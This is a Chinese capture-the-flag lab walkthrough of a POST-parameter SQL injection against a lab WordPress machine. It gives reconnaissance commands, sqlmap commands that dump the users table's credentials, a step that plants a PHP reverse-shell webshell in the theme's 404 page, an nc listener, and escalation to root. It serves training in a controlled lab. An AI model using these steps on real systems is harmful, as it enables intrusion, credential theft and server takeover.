CTF靶场训练-SQL注入(POST参数注入)

Background

SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入的大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。

任何一个用户可以输入的位置都肯是注入点。比如url中,以及http报文中,POST传递的参数;

实验环境

  • 攻击机 Kali:192.168.43.44
  • 靶场机器 Ununtu 14.04 : 192.168.43.97

目的:获得靶机root权限

信息探测

探测靶机开放的服务
– nmap -sV 192.168.43.97
image

发现靶机80、8080端口开放http服务

既然开放了http服务就试着浏览器访问一下或查看源代码
image
80端口开放的web站点只有一张图片
8080端口开口的web站点是一个购物站点

尝试扫描站点下的网页

1
root@kali:~# nikto -host http://192.168.43.97

image

1
root@kali:~# dirb http://192.168.43.97:8080

image
发现管理员登陆页面

漏洞扫描

管理员界面
image
尝试弱口令失败;
扫一下有没有sql注入漏洞
burpsuite抓包
image

sqlmap扫描

1
root@kali:~# sqlmap -r test/post.txt --level 5 --risk 3 --dbs --batch

这里普通标准的扫描无法扫出sql漏洞,需要提高扫描等级(–level 5 –risk 3)
image
数据库名已经跑出来
这里发现8080端口站点使用的数据库wordpress8080
所以这里选择这个数据库
接下来就是跑出表名

1
root@kali:~# sqlmap -r test/post.txt --level 5 --risk 3 -D wordpress8080 --tables --batch

跑列名

1
root@kali:~# sqlmap -r test/post.txt --level 5 --risk 3 -D wordpress8080 -T users --columns --batch

跑字段

1
root@kali:~# sqlmap -r test/post.txt --level 5 --risk 3 -D wordpress8080 -T users -C username,password --dump --batch

image
密码已经跑出来了

登陆管理员后台

image
右键浏览器打开,输入账号密码,登陆后台
image
image

上传webshell

需要一个webshell
在/usr/share/webshells/php中选择php-reverse-shell.php
image

找到404页面(Appearance->Editor->404.php)
替换成shell
image
点击update file,提交

wordpress 上传点 theme 404.php
执行:http://靶场IP/wordpress/wp-content/themes/主题名/404.php

浏览器打开网页,执行上传的shell

1
http://192.168.43.97:8080/wordpress/wp-content/themes/twentythirteen/404.php

kali 用nc监听4444端口
– nc -vlp 4444
image

提升权限

用python优化shell
提权root权限,密码尝试空密码或SuperSecretPassword
登陆成功,获得靶机root权限

image